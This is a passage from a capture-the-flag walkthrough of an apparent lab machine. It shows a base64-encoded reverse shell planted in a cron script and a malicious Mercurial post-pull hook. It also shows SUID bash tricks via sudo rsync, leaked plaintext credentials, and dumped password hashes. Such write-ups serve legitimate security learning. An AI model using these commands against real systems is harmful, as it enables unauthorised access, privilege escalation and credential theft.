resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})
i=0
while True:
print(i)
i+=1
payload = PAYLOAD.format('/data/scripts/dbstatus.json')
resp = requests.get(URL, params={'s': '', 'o': payload}, cookies=COOKIES, proxies={'http': 'http://127.0.0.1:8080'})
if 'already exists' not in resp.text:
break
sleep(1)
Listen for connection and catch the shell.
Reverse Shell (mysql)
/data
has dangerous permissions on directory, and app_backup.sh
is ran by www-data
mysql@yummy:/data$ id
uid=110(mysql) gid=110(mysql) groups=110(mysql)
mysql@yummy:/data$ ls -alh
total 12K
drwxr-xr-x 3 root root 4.0K Sep 30 08:16 .
drwxr-xr-x 24 root root 4.0K Sep 30 08:16 ..
drwxrwxrwx 2 root root 4.0K Oct 6 01:15 scripts
mysql@yummy:/data$ cat /etc/crontab
...
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
Privilege Escalation (www-data)
Create new cronjob task:
mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.sh.bak && echo $'#!/bin/bash\necho L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash\n' > app_backup.sh && chmod +x app_backup.sh && ls -alh
total 36K
drwxrwxrwx 2 root root 4.0K Oct 6 01:21 .
drwxr-xr-x 3 root root 4.0K Sep 30 08:16 ..
-rwxrwxr-x 1 mysql mysql 94 Oct 6 01:21 app_backup.sh
-rw-r--r-- 1 root root 90 Oct 6 01:21 app_backup.sh.bak
-rw-r--r-- 1 root root 1.4K Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root root 60 Oct 6 01:20 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5.5K Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root root 114 Sep 26 15:31 table_cleanup.sh
Privilege Escalation (qa)
└─$ listen
Ncat: Connection from 10.129.52.156:42924.
www-data@yummy:/root$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
www-data@yummy:~/app-qatesting/.hg$ find . -ls | grep -vE 'css|js|vendor|static|cache'
267823 4 drwxrwxr-x 6 qa qa 4096 May 28 14:37 .
267826 4 drwxrwxr-x 2 qa qa 4096 May 28 14:28 ./strip-backup
267827 4 -rw-rw-r-- 1 qa qa 657 May 28 14:28 ./strip-backup/c00da704e2f0-fcd95763-amend.hg
268030 4 -rw-rw-r-- 1 qa qa 57 May 28 14:26 ./00changelog.i
267836 4 -rw-rw-r-- 1 qa qa 34 May 28 14:37 ./last-message.txt
268024 4 -rw-rw-r-- 1 qa qa 11 May 28 14:26 ./requires
268023 8 -rw-rw-r-- 1 qa qa 7102 May 28 14:34 ./undo.backup.dirstate.bck
267835 8 -rw-rw-r-- 1 qa qa 7102 May 28 14:37 ./dirstate
268031 0 -rw-rw-r-- 1 qa qa 0 May 28 14:28 ./bookmarks
267837 4 drwxrwxr-x 4 qa qa 4096 May 28 14:37 ./store
268022 4 -rw-rw-r-- 1 qa qa 640 May 28 14:37 ./store/00changelog.i
267839 4 -rw-rw-r-- 1 qa qa 43 May 28 14:26 ./store/phaseroots
267850 4 drwxrwxr-x 6 qa qa 4096 May 28 14:37 ./store/data
267851 4 drwxrwxr-x 3 qa qa 4096 May 28 14:26 ./store/data/middleware
267852 4 -rw-rw-r-- 1 qa qa 679 May 28 14:26 ./store/data/middleware/verification.py.i
267856 4 drwxrwxr-x 3 qa qa 4096 May 28 14:27 ./store/data/config
267857 4 -rw-rw-r-- 1 qa qa 609 May 28 14:28 ./store/data/config/signature.py.i
268014 4 drwxrwxr-x 2 qa qa 4096 May 28 14:26 ./store/data/templates
268017 4 -rw-rw-r-- 1 qa qa 2440 May 28 14:26 ./store/data/templates/login.html.i
268015 4 -rw-rw-r-- 1 qa qa 2876 May 28 14:26 ./store/data/templates/admindashboard.html.i
268016 4 -rw-rw-r-- 1 qa qa 2512 May 28 14:26 ./store/data/templates/register.html.i
268018 4 -rw-rw-r-- 1 qa qa 2460 May 28 14:26 ./store/data/templates/dashboard.html.i
268019 12 -rw-rw-r-- 1 qa qa 8235 May 28 14:26 ./store/data/templates/index.html.i
268013 8 -rw-rw-r-- 1 qa qa 4914 May 28 14:37 ./store/data/app.py.i
267841 8 -rw-rw-r-- 1 qa qa 5192 May 28 14:37 ./store/00manifest.i
268021 4 -rw-rw-r-- 1 qa qa 83 May 28 14:26 ./store/requires
267840 4 -rw-rw-r-- 1 qa qa 74 May 28 14:37 ./store/undo
267842 4 drwxrwxr-x 3 qa qa 4096 May 28 14:26 ./store/data-s
267838 4 -rw-rw-r-- 1 qa qa 82 May 28 14:37 ./store/undo.backupfiles
268020 4 -rw-rw-r-- 1 qa qa 1779 May 28 14:37 ./store/00changelog.d
267824 4 -rw-rw-r-- 1 qa qa 9 May 28 14:37 ./undo.desc
267825 4 -rw-rw-r-- 1 qa qa 8 May 28 14:26 ./branch
267828 4 -rw-rw-r-- 1 qa qa 8 May 28 14:26 ./undo.backup.branch.bck
www-data@yummy:~/app-qatesting/.hg$ strings ./store/data/app.py.i
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9 'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
V([Q
>GQ$
6 'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B',
P8*p
...
SSH
Creds:
qa:jPAd!XQCtn8Oc@2B
└─$ ssh qa@yummy.htb
qa@yummy:~$ id
uid=1001(qa) gid=1001(qa) groups=1001(qa)
Flag.txt
qa@yummy:~$ cat user.txt
ace91c17c4c5bd4e28d19009f81971ce
Privilege Escalation (dev)
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
User has hg
config file:
qa@yummy:~$ cat .hgrc
# example user config (see 'hg help config' for more info)
[ui]
username = qa
...
[extensions]
[trusted]
users = qa, dev
groups = qa, dev
There were some hg
archive files in /var/www
I wanted to check out, but total waste of time.
qa@yummy:/var/www/app-qatesting/.hg/strip-backup$ hg clone c00da704e2f0-fcd95763-amend.hg c00da704e2f0-fcd95763-amend
requesting all changes
adding changesets
adding manifests
adding file changes
added 11 changesets with 133 changes to 124 files (+1 heads)
new changesets f54c91c7fae8:c00da704e2f0 (11 drafts)
updating to branch default
124 files updated, 0 files merged, 0 files removed, 0 files unresolved
qa@yummy:/var/www/app-qatesting/.hg/strip-backup/c00da704e2f0-fcd95763-amend$ hg summary
parent: 10:c00da704e2f0 tip
patched verification vuln
branch: default
commit: (clean)
update: 4 new changesets, 2 branch heads (merge)
phases: 11 draft
I totally forgot that sudo -l
command can be ran as other user 💀
qa@yummy:/tmp$ mkdir tt
qa@yummy:/tmp$ chmod 777 tt
qa@yummy:/tmp$ cd tt
qa@yummy:/tmp/tt$ hg init
qa@yummy:/tmp/tt$ chmod 777 . -R
qa@yummy:/tmp/tt$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tt$ hg update
124 files updated, 0 files merged, 0 files removed, 0 files unresolved
qa@yummy:/tmp/tt$ hg log
Nothing interesting, same stuff as in /var/www
Looking into docs: https://www.mercurial-scm.org/doc/hgrc.5.html
## [hooks](https://www.mercurial-scm.org/doc/hgrc.5.html#contents)
Commands or Python functions that get automatically executed by various actions such as starting or finishing a commit. Multiple hooks can be run for the same action by appending a suffix to the action. Overriding a site-wide hook can be done by changing its value or setting it to an empty string. Hooks can be prioritized by adding a prefix of priority. to the hook name on a new line and setting the priority. The default priority is 0.
...
post-<command>
Run after successful invocations of the associated command. The contents of the command line are passed as $HG_ARGS and the result code in $HG_RESULT. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.
fail-<command>
Run after a failed invocation of an associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.
pre-<command>
Run before executing the associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. If the hook returns failure, the command doesn't execute and Mercurial returns the failure code.
Repositories can have their own hgrc
, not only users. Editing the qa
user rc file didn't work, but if we add it to repository then it works.
qa@yummy:/tmp/tmp.mFFkaXY8n4$ d=$(mktemp -d);
cd $d;
hg init;
cp ~/.hgrc .hg/hgrc;
echo $'\n[hooks]\npost-pull = install /bin/bash /tmp/devbash -m 4777\n' >> .hg/hgrc
chmod 777 . -R;
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tmp.aJq6861TWh$ ls /tmp/devbash -Alh
-rwsrwxrwx 1 dev dev 1.4M Oct 6 08:23 /tmp/devbash
qa@yummy:/tmp/tmp.aJq6861TWh$ /tmp/devbash -p
devbash-5.2$ id
uid=1001(qa) gid=1001(qa) euid=1000(dev) groups=1001(qa)
Privilege Escalation (root)
devbash-5.2$ sudo -l
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
The SUID bit shell didn't go as planned... If we upgrade to reverse shell we are proper dev
user. Edit:
echo $'\n[hooks]\npost-pull = echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQ0NDQgMD4mMQ==|base64 -d|bash\n' >> .hg/hgrc
dev@yummy:/tmp/tmp.HyHrHWDXQq$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
https://man7.org/linux/man-pages/man1/rsync.1.html
rsync
- a fast, versatile, remote (and local) file-copying tool
We can't directly read files, because path traversal will break. But rsync
allows modification of ownership:--chown=USER:GROUP simple username/groupname mapping
dev@yummy:~/app-production$ cp /bin/bash rootbash
dev@yummy:~/app-production$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~/app-production$ ls -alh /opt/app
...
-rwxr-xr-x 1 root root 1.4M Oct 6 08:35 rootbash
...
Ownership were changed, but permissions stayed the same.
dev@yummy:~/app-production$ cd /home/dev/app-production;
install /bin/bash rootbash -m 4777;
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/;
/opt/app/rootbash -p;
mv /opt/app/rootbash /tmp/rootbash;
id # No pty
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
script /dev/null -qc /bin/bash
I'm out of office until October 7th, don't call me
script
loses the permissions... so no pty I guess
cd /root
ls -alh
total 36K
drwx------ 6 root root 4.0K Oct 5 21:43 .
drwxr-xr-x 24 root root 4.0K Sep 30 08:16 ..
lrwxrwxrwx 1 root root 9 May 15 13:12 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Apr 22 13:04 .bashrc
drwx------ 2 root root 4.0K Sep 30 10:05 .cache
drwxr-xr-x 3 root root 4.0K Sep 30 08:16 .local
-rw-r--r-- 1 root root 161 Apr 22 13:04 .profile
-rw-r----- 1 root root 33 Oct 5 21:43 root.txt
drwxr-xr-x 2 root root 4.0K Sep 30 08:16 scripts
drwx------ 2 root root 4.0K Sep 30 08:16 .ssh
cat root.txt
4b76789486758d0d2dd7695f55a2cc19
rootbash-5.2# cat /etc/shadow | grep -vE ':[*!]{1,2}:'
root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7:::
www-data:$y$j9T$S21blsbdDkEltq9K0dVWh.$xJ9DB6rlVtaqyy1Wr7ZNEQNyDpYqc9J.azcfx8u2f52:19871:0:99999:7:::
dev:$y$j9T$1/WsUm7je9IFkzgVjqRjX0$kqpuG3yR.ax0.hzHJp5NL0G4943t/fcVU7LnDKitfv1:19871:0:99999:7:::
mysql:$y$j9T$G9DPvQTVigsYa1P8PJZXw.$b88UbsM554ljSq.SVHU6BEbL/9QCVJ1a78WZSxt4uk2:19871::::::
qa:$y$j9T$75Hb7WaRlgpORQQSzqUNS/$ZkK/Yb1QrMTAgHsd4qViPxTRDd4v6BaA2nrSyp0YAI3:19871:0:99999:7:::
Last updated